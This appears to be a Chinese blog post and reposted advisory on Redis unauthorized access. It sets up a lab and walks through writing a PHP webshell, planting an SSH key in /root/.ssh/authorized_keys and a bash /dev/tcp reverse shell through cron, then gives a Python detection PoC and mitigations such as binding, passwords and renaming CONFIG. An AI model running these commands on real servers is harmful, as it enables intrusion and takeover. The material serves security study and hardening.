redis未授权访问
Posted young lady
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权访问相关的知识,希望对你有一定的参考价值。
原理:
redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
环境:
靶机:Ubuntu:5.4.0-42-generic 192.168.6.217
攻击机:Kali 5.16.0-kali7-amd64 192.168.6.212
安装redis:
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
#解压后需要编译
make
make报错:make MALLOC=libc make distclean
#进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
#将redis配置文件复制到/etc目录下
cp redis.conf /etc
服务端启动redis-server同时加载配置文件:
redis-server /etc/redis.conf & (&后台运行)
ps -aux | grep redis (查看是否启动)
攻击机安装redis客户端。与上述步骤相同:
#查看redis-cli使用说明:
redis-cli -h 目标主机IP地址 -p 端口号
未授权访问漏洞测试:
使用redis客户端直接无账号登录redis:
查询发现Redis的主机直接暴露于绑定到所有接口是危险的,会暴露互联网上每个人的实例。遵循bin指令,这将强制Redis只接受来自同一台主机连接运行。
解决办法:
在redis的服务端修改配置文件/etc/redis.conf中bind为0.0.0.0,以及关闭保护模式和关闭防火墙iptables -F:
再次进行未授权访问:
利用redis写webshell
由于本地搭建,我们已经知道目录,我们把shell写入/home/muhong/Documents/目录下:
若爆错:
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
解决办法:
config set slave-read-only no
还不行的话使用info查看一下版本,换一个版本,可能是版本太高了,换一个低一点的版本。
换成redis-6.0.3版本,和上述步骤一样进行操作。
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
同样我们把shell写入/home/xxxx/Documents/目录下:
config set dir /home/xxxx/Documents
config set dbfilename redis.php
set webshell "\\r\\n\\r\\n<?php phpinfo();?>\\r\\n\\r\\n" #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
save
shell写入完成,我们在靶机上证明:
成功写入shell。
利用‘’公私钥“认证获取root权限:
当reids以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
靶机中开启redis服务。在靶机中执行 mkdir /root/.ssh命令,创建ssh公钥存放目录。
在攻击机中生成ssh公钥和私钥,密码设置为空:
进入.ssh目录:cd /root/.ssh ,将生成的公钥保存到1.txt:
连接靶机上的redis服务,将保存的ssh公钥1.txt写入redis:
远程登录靶机的redis服务:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
设置上传公钥的备份文件名字为authorized_keys:
CONFIG SET dbfilename authorized_keys
检查是否更改成功,成功就保存后退出。
成功写入ssh公钥到靶机。在攻击机使用ssh免密登录靶机:
出现上述情况,把靶机中的ssh服务打开。
#安装sshd
apt-get isntall openssh-server
#启动
service ssh restart
#关闭防火墙
ufw disable
#查看是否有sshd进程
ps -ef | grep ssh
再次使用攻击机ssh免密登录:
使用私钥成功登录redis服务器。
利用crontab反弹shell
在权限足够的情况下。利用redis写入文件到计划任务目录下执行。
端口监听:
在攻击者服务器上监听一个端口:
nc -lvp 8888
攻击详情:
连接redis,写入反弹shell:
redis-cli -h 192.168.6.217
set xxx "\\r\\n*/**** /bin/bash -i >&/dev/tcp/192.168.6.217/8888 0>&1\\r\\n"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟左右就可以收到shell。
解决方案
绑定IP
在redis.conf 文件中找到配置,将IP地址改为允许访问redis的IP。
设置密码
在redis.conf配置文件中找到requirepass,然后修改。
Redis 未授权访问缺陷可轻易导致系统被黑
Redis 未授权访问缺陷可轻易导致系统被黑
漏洞概要
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
根据 ZoomEye 最新于2015年11月12日0点探测结果显示:
总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。
1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
Shell
1 | $ssh-keygen –t rsa |
然后将公钥写入foo.txt文件
Shell
1 | $ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt |
再连接Redis写入文件
Shell
1 2 3 4 5 6 | $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK $ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK $ 192.168.1.11:6379> saveOK |
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
Shell
1 | $ ssh –i id_rsa root@192.168.1.11 |
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。
Redis 未授权的其他危害与利用
数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等
代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
全球无验证可直接利用 Redis 分布情况
全球无验证可直接利用 Redis TOP 10 国家与地区
漏洞 PoC
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #!/usr/bin/env python # -*- coding:utf-8 -*- import socket import urlparse from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = ‘89339‘ version = ‘1‘ author = [‘Anonymous‘] vulDate = ‘2015-10-26‘ createDate = ‘2015-10-26‘ updateDate = ‘2015-10-26‘ references = [‘http://sebug.net/vuldb/ssvid-89339‘] name = ‘Redis 未授权访问 PoC‘ appPowerLink = ‘http://redis.io/‘ appName = ‘Redis‘ appVersion = ‘All‘ vulType = ‘Unauthorized access‘ desc = ‘‘‘ redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。 ‘‘‘ samples = [‘‘] def _verify(self): result = {} payload = ‘x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a‘ s = socket.socket() socket.setdefaulttimeout(10) try: host = urlparse.urlparse(self.url).netloc port = 6379 s.connect((host, port)) s.send(payload) recvdata = s.recv(1024) if recvdata and ‘redis_version‘ in recvdata: result[‘VerifyInfo‘] = {} result[‘VerifyInfo‘][‘URL‘] = self.url result[‘VerifyInfo‘][‘Port‘] = port except: pass s.close() return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail(‘Internet nothing returned‘) return output register(TestPOC) |
解决方案
临时解决方案
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
官方解决方案
暂无官方解决方案
推荐防护方案
暂无防护方案
本文出自 “李世龙” 博客,谢绝转载!
以上是关于redis未授权访问的主要内容,如果未能解决你的问题,请参考以下文章